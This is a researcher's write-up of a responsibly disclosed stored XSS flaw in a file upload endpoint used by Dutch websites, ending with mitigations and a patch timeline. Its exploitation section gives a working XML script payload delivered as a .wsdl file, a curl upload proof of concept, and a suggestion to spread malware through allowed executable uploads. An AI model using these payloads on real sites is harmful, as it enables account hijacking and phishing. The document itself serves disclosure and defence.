4 minutes
Stored XSS on 5.000+ Dutch websites
In this post I’ll describe a stored XSS vulnerability I found in software used by >5.000 Dutch companies, including banks, hospitals, government agencies, municipalities, supermarkets, football clubs etc. The vulnerability was found in a file upload endpoint that was used to attach files to application forms and allows attackers to get stored XSS leading to account hijacking, phishing etc.
Discovery
One of the websites I was testing contained an endpoint to upload files. This endpoint was primarely used in application forms to attach files like your resume or picture. The endpoint looked like this:
Request
POST /file/upload/default HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywd1p0f2EAbAL4uNA
------WebKitFormBoundarywd1p0f2EAbAL4uNA
Content-Disposition: form-data; name="filedata0"; filename="example.pdf"
Content-Type: application/pdf
test
------WebKitFormBoundarywd1p0f2EAbAL4uNA
Response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
<script>
parent.AntaFileResponse(true, { Id: "<RANDOM_ID>", Name: "example.pdf" });
</script>
The download link to the uploaded file was attached to the form and when clicked it would open the link. The request looks like this:
Request
GET /file/download/default/<RANDOM_ID>/example.pdf HTTP/1.1
Response
HTTP/1.1 200 OK
Content-Disposition: inline; filename="test.pdf"; filename*=utf-8''example.pdf
Content-Type: application/pdf
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
test
After trying to upload different file extensions I noticed that the backend blocked certain extensions:
<script>
parent.AntaFileResponse(false, "It is not allowed to submit files with this type");
</script>
However, most file extensions were just allowed, which made me wonder; would it be possible to upload malicous files?
Another thing I noticed was that different file extensions get a different Content-Type
returned by the server. The browser uses this to choose how to render the page.
Exploration
A list of common file extensions (SecLists/raft-large-extensions.txt) and automated file uploads provided me some insights:
- Blocked file extensions:
- .ashx, .asmx, .axd, .bat, .cmd, .css, .dll, .exe, .hta, .htm, .html, js, .mht, .mhtml, .shtm, .shtml, .stm, .svc, .svg, .vb, .vbs, .xhtm, .xhtml, xml, .xsd, .xsl
- Allowed executable file extensions:
- .msi, .java, .com
- ⚠️ an attacker could send one of these executable file extensions to spread malware. A good use case would be to send it with your application so a victim application reviewer would download it and run it.
My new mission was to find a file extension with a Content-Type
returned from the back-end that the browser would load as a web page instead of downloading it. The following list of Content-Type
can be used to execute Javascript in the browser:
Content-Type | Format | Browsers |
---|---|---|
text/html | html | |
application/xhtml+xml | xml | |
application/xml | xml | |
text/xml | xml | |
image/svg+xml | xml | |
text/xsl | xml | |
application/vnd.wap.xhtml+xml | xml | |
multipart/x-mixed-replace | multipart html |
Complete list: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
After analyzing the content-types for all the different file extensions there was one that stood out:
- Allowed Javascript file extensions:
- .wsdl
- ⚠️ An attacker could upload a
.wsdl
file, when someone opens the downloadlink the back-end returnsContent-Type: text/xml
which means the browser will load the page as an XML file. This can be used to execute Javascript (stored XSS), or craft a custom page. Note that the download link is on the same domain so this could lead to account hijacking or phishing
Exploitation
To achieve stored XSS an attacker could upload a .wsdl
file that contains the following example XSS payloads:
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert("XSS")</a:script>
The victim will click on the download link that is provided with with application and the browser will load the page as an XML file. This will execute the Javascript payload and can lead to account hijacking, phishing etc.
Full Proof of Concept:
echo '<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert("XSS")</a:script>' | curl -F 'filedata0=@-;filename=XSS.wsdl' https://TARGET/file/upload/default
Another thing an attacker could do is create a custom phishing page that looks like a login or payment page. Since XML can contain HTML tags Javascript is not even needed in this case.
Mitigation
- Use a whitelist instead of a blacklist for file extensions. For example only allow certain file extensions like .pdf, .docx etc
- Add
Content-Disposition: attachment
HTTP header to thefile/download/default/X/X
endpoint so uploaded files will always be downloaded and not rendered in the browser
Timeline
Date | Description |
---|---|
12-01-2023 | Reported Vulnerability |
13-01-2023 | Vulnerability confirmed |
16-01-2023 | Vulnerability patched |
30-01-2023 | Received reward €2674 (2*€1337) |